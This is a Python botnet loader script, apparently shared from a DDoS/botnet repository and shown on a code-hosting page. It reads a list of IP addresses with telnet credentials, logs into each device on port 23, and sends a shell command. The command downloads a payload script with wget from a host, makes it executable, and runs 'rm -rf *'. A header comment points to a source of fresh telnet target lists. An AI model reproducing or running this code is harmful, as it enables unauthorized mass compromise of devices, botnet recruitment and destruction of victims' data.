Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Scanning/TELNET/PY LOADER/loader.py
5038 views
1
#!/usr/bin/python
2
# Simple Telnet Loader Modified by Deeznuts?
3
# You Can Find Fresh TELNET List To Load @ http://godz56.tk/telnet-list/
4
# Modified with more tweaks.
5
6
import sys, re, os, socket, time
7
from threading import Thread
8
9
if len(sys.argv) < 2:
10
sys.exit("\033[37mUsage: python "+sys.argv[0]+" [list]")
11
12
cmd="cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://0.0.0.0/bins.sh; chmod 777 bins.sh; rm -rf *" #command to send
13
info = open(str(sys.argv[1]),'a+')
14
15
def sqwad(ip,username,password):
16
ip = str(ip).rstrip("\n")
17
username = username.rstrip("\n")
18
password = password.rstrip("\n")
19
try:
20
tn = socket.socket()
21
tn.settimeout(5)
22
tn.connect((ip,23))
23
except Exception:
24
print "\033[32m[\033[31m+\033[32m] \033[31mFailed To Connect!\033[37m %s"%(ip)
25
tn.close()
26
try:
27
hoho = ''
28
hoho += readUntil(tn, "ogin")
29
if "ogin" in hoho:
30
tn.send(username + "\n")
31
print "\033[32m[\033[31m+\033[32m] \033[35mSending Username!\033[37m %s"%(ip)
32
time.sleep(0.09)
33
else:
34
pass
35
except Exception:
36
tn.close()
37
try:
38
hoho = ''
39
hoho += readUntil(tn, "assword:")
40
if "assword" in hoho:
41
tn.send(password + "\n")
42
print "\033[32m[\033[33m+\033[32m] \033[36mSending Password!\033[37m %s"%(ip)
43
time.sleep(2)
44
else:
45
pass
46
except Exception:
47
tn.close()
48
try:
49
tn.send("sh" + "\n")
50
time.sleep(0.05)
51
tn.send(cmd + "\n")
52
print "\033[32m[\033[31m+\033[32m] \033[32mCommand Sent!\033[37m %s"%(ip) #False possitives because thats what yall wanted lmao
53
time.sleep(15)
54
tn.close()
55
except Exception:
56
tn.close()
57
58
def readUntil(tn, string, timeout=8):
59
buf = ''
60
start_time = time.time()
61
while time.time() - start_time < timeout:
62
buf += tn.recv(1024)
63
time.sleep(0.01)
64
if string in buf: return buf
65
raise Exception('TIMEOUT!')
66
67
for x in info:
68
try:
69
if ":23 " in x:
70
x = x.replace(":23 ", ":")
71
xinfo = x.split(":")
72
session = Thread(target=sqwad, args=(xinfo[0].rstrip("\n"),xinfo[1].rstrip("\n"),xinfo[2].rstrip("\n"),))
73
session.start()
74
ip=xinfo[0]
75
username=xinfo[1]
76
password=xinfo[2]
77
time.sleep(0.01)
78
except:
79
pass
80